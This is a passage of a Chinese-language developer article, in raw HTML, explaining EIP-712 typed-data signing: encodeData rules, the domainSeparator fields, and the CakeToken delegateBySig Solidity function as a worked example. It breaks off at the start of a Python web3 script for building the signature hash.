24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">编码的成员值按照它们在类型中出现的顺序串联。每个编码的成员值正好是 32 字节长。</span></p><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">编码中对于不同的类型有不同的规定,原子值编码如下：</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">a.</span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);"> Boolean false 和 true 分别编码为 uint256 值 0 和 1;</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">b. </span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">Address被编码为 uint160;</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">c. </span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">整数值符号扩展为 256 位并以大端顺序编码;</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">d. </span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">bytes1 到 bytes31 是具有开头（索引 0）和结尾（索引长度 - 1）的数组，它们在 bytes32 的末尾补零并按从头到尾的顺序编码；上面的这些对应于它们在 ABI v1 和 v2 中的编码,即采用abi.encode(value₁, value₂, ..., valueₙ)。动态类型如下：</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">e.</span></strong> <span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">bytes 和 string 类型将会进行keccak256散列；</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">f. </span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">array 先进行encodeData处理，再进行keccak256散列。</span></section><section style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;letter-spacing: 1px;color: rgb(84, 84, 84);">所以对encodeData的实现大概如下：</span></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="swift"><code><span class="code-snippet_outer">encodeData(s) = abi.encode(a, b, c, keccak256(d), e, keccak256(f))</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 0.8em 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;justify-content: flex-start;padding-left: 18px;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="height: 38px;background: rgb(9, 9, 9);text-align: center;padding: 0px 4px 0px 6px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 38px;" data-mid="">NO.6</p></section><section style="width: 11px;height: 38px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="3.4545454545454546" style="display: block;" data-type="png" data-w="22" src="https://wechat2rss.xlab.app/img-proxy/?k=95104db1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F98AQ8y4bOK19segAEqmTGgHHicxt65Q7ibuW8UGVATzW6qFoQ7Cqc3g9UKu6akicMdiaHbG4jz5VyKQzEFn7r2v2OA%2F640%3Fwx_fmt%3Dpng"/></section><section style="height: 38px;text-align: center;border-width: 1px 1px 1px 0px;border-top-style: solid;border-right-style: solid;border-bottom-style: solid;border-top-color: rgb(9, 9, 9);border-right-color: rgb(9, 9, 9);border-bottom-color: rgb(9, 9, 9);border-left-style: initial;border-left-color: initial;padding: 0px 10px 0px 4px;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(51, 51, 51);line-height: 38px;letter-spacing: 2px;" data-mid="">domainSepator 函数定义</p></section></section></section></section><p><br/></p><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 24px 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);"><span style="display: none;line-height: 0px;">‍‍‍</span>domainSeparator 是 EIP712 中非常重要的概念，它的作用主要是保证不同的合约和链上的签名是不同的、隔离的。   </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">domainSepatator的公式如下：   </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);letter-spacing: normal;">domainSeparator = hashStruct(eip712Domain)    </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">eip712Domain类型是Struct，并具有以下一个或多个字段： </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(0, 122, 170);">a. </span></strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">string name, 签名域的名称；   </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>b.</strong></span><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);"> string version，签名域的主要版本，现在都是1；   </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>c. </strong></span><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">uint256 chainId;    </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>d. </strong></span><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">address verifyingContract, 将要验证该签名的合约； </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;color: rgb(0, 122, 170);"><strong>e. </strong></span><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">bytes32 salt。   </span></h2><h2 cid="n41" mdtype="heading" style="box-sizing: border-box;orphans: 4;margin: 8px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">需要注意的一点是，eip712Domain 里的成员必须按照上面的顺序，新增字段的添加必须按字母顺序排列并在上述字段之后。 <span style="display: none;line-height: 0px;">‍‍‍</span></span></h2><p><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);"><br mpa-from-tpl="t"/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;padding: 6px 0px;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="width: 26px;height: 32px;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1.2307692307692308" data-w="52" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=ff82ac7d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FQuYHyqum16C38dxacArBoprbEpPyYhAywPWL5hOjicAyNf49L6RgDTD88dl2uDNEEtFUbEexw5z7oLObo5vRNibg%2F640%3Fwx_fmt%3Dpng"/></section></section></section></section><p><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);"><br/></span></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="display: flex;justify-content: center;align-items: center;width: 100%;" data-mid="" mpa-from-tpl="t"><section style="display: flex;justify-content: flex-start;align-items: center;flex-direction: column;" data-mid="" mpa-from-tpl="t"><section style="width: 13px;height: 13px;align-self: flex-start;margin-bottom: -13px;z-index: 1;" data-mid="" mpa-from-tpl="t"><img class="rich_pages wxw-img" data-ratio="1" style="display: block;" data-type="png" data-w="26" src="https://wechat2rss.xlab.app/img-proxy/?k=fcd19117&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fx9316AdmojhCJUicU59yGKU5XEbqbLxI9dN9qJIv94FtNibJgalwSRPOX4iaz0CiaE7WHicibwyJWUuOhDYWAJNZia9gw%2F640%3Fwx_fmt%3Dpng"/></section><section style="display: flex;justify-content: center;align-items: center;" data-mid="" mpa-from-tpl="t"><section style="width: 35px;height: 32px;background: rgb(57, 57, 57);border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);text-align: center;overflow: hidden;white-space: nowrap;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(255, 255, 255);line-height: 32px;" data-mid=""><span style="font-size: 18px;">四</span></p></section><section style="height: 32px;border-width: 1px;border-style: solid;border-color: rgb(51, 51, 51);padding: 0px 15px;text-align: center;" data-mid="" mpa-from-tpl="t"><p style="font-size: 16px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(57, 57, 57);line-height: 32px;" data-mid=""><span style="font-size: 18px;">实例和实现</span></p></section></section></section></section></section><section style="box-sizing: border-box;orphans: 4;margin: 32px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">上面讲了那么多概念和定义，比较干，但这也是必要的。根据定义我们可以写出实现的代码，也是比较简单的。</span></section><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;text-align: justify;text-indent: 0px;widows: 2;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="color: rgb(84, 84, 84);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: 1px;text-transform: none;white-space: pre-wrap;word-spacing: 0px;-webkit-text-stroke-width: 0px;box-sizing: border-box;">接下来我会以两种代码形式，一种傻瓜式，一种是简便式。傻瓜式代码适用于不太想去了解各种定义细节，根据合约代码直接构造签名哈希。简便式代码适用于对EIP712比较熟悉的人，根据规则套入变量即可。</span></p><p style="box-sizing: border-box;orphans: 4;margin: 16px 16px 24px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 2em;"><span style="font-size: 15px;box-sizing: border-box;color: rgb(84, 84, 84);letter-spacing: 0.5px;">以CakeToken的delegateBySig为例，代码如下：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="typescript"><code><span class="code-snippet_outer">bytes32 public constant DOMAIN_TYPEHASH = keccak256(&#34;EIP712Domain(string name,uint256 chainId,address verifyingContract)&#34;);</span></code><code><span class="code-snippet_outer">bytes32 public constant DELEGATION_TYPEHASH = keccak256(&#34;Delegation(address delegatee,uint256 nonce,uint256 expiry)&#34;);</span></code><code><span class="code-snippet_outer">string public name = &#34;PancakeSwap Token&#34;;</span></code><code><span class="code-snippet_outer">function delegateBySig(</span></code><code><span class="code-snippet_outer">        address delegatee,</span></code><code><span class="code-snippet_outer">        uint nonce,</span></code><code><span class="code-snippet_outer">        uint expiry,</span></code><code><span class="code-snippet_outer">        uint8 v,</span></code><code><span class="code-snippet_outer">        bytes32 r,</span></code><code><span class="code-snippet_outer">        bytes32 s</span></code><code><span class="code-snippet_outer">)</span></code><code><span class="code-snippet_outer">        external</span></code><code><span class="code-snippet_outer">{</span></code><code><span class="code-snippet_outer">        bytes32 domainSeparator = keccak256(</span></code><code><span class="code-snippet_outer">            abi.encode(</span></code><code><span class="code-snippet_outer">                DOMAIN_TYPEHASH,</span></code><code><span class="code-snippet_outer">                keccak256(bytes(name())),</span></code><code><span class="code-snippet_outer">                getChainId(),</span></code><code><span class="code-snippet_outer">                address(this)</span></code><code><span class="code-snippet_outer">            )</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        bytes32 structHash = keccak256(</span></code><code><span class="code-snippet_outer">            abi.encode(</span></code><code><span class="code-snippet_outer">                DELEGATION_TYPEHASH,</span></code><code><span class="code-snippet_outer">                delegatee,</span></code><code><span class="code-snippet_outer">                nonce,</span></code><code><span class="code-snippet_outer">                expiry</span></code><code><span class="code-snippet_outer">            )</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        bytes32 digest = keccak256(</span></code><code><span class="code-snippet_outer">            abi.encodePacked(</span></code><code><span class="code-snippet_outer">                &#34;\x19\x01&#34;,</span></code><code><span class="code-snippet_outer">                domainSeparator,</span></code><code><span class="code-snippet_outer">                structHash</span></code><code><span class="code-snippet_outer">            )</span></code><code><span class="code-snippet_outer">        );</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">        address signatory = ecrecover(digest, v, r, s);</span></code><code><span class="code-snippet_outer">        require(signatory != address(0), &#34;CAKE::delegateBySig: invalid signature&#34;);</span></code><code><span class="code-snippet_outer">        require(nonce == nonces[signatory]++, &#34;CAKE::delegateBySig: invalid nonce&#34;);</span></code><code><span class="code-snippet_outer">        require(now &lt;= expiry, &#34;CAKE::delegateBySig: signature expired&#34;);</span></code><code><span class="code-snippet_outer">        return _delegate(signatory, delegatee);</span></code><code><span class="code-snippet_outer">    }</span></code></pre></section><p style="box-sizing: border-box;orphans: 4;margin: 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><strong><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">1、傻瓜式代码</span></strong></p><p style="box-sizing: border-box;orphans: 4;margin: 16px;white-space: pre-wrap;color: rgb(51, 51, 51);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;text-align: justify;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration-style: initial;text-decoration-color: initial;line-height: 1.75em;"><span style="font-size: 15px;letter-spacing: 1px;box-sizing: border-box;color: rgb(84, 84, 84);">主要讲解附在代码注释中了：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="python"><code><span class="code-snippet_outer">from web3 import Web3</span></code><code><span class="code-snippet_outer">from eth_account import Account</span></code><code><span class="code-snippet_outer">from eth_abi import encode_abi</span></code><code><span class="code-snippet_outer">import json</span></code><code><span class="code-snippet_outer">import requests</span></code><code><span class="code-snippet_outer">import time</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">w3 = Web3(Web3.HTTPProvider(&#39;<a href="https://bsc-mainnet.web3api.com/v1/xxxxx" target="_blank">https://bsc-mainnet.web3api.com/v1/xxxxx</a>&#39;))</span></code><code><span class="code-snippet_outer"># contract addr</span></code><code><span class="code-snippet_outer">contract_addr = &#39;0x0E09FaBB73Bd3Ade0a17ECC321fD13a19e81cE82&#39;</span></code><code><span class="code-snippet_outer"># bscscan abi key</span></code><code><span class="code-snippet_outer">api_key = &#39;xxxxxx&#39;</span></code><code><span class="code-snippet_outer"># abi url</span></code><code><span class="code-snippet_outer">get_abi_url_temp = 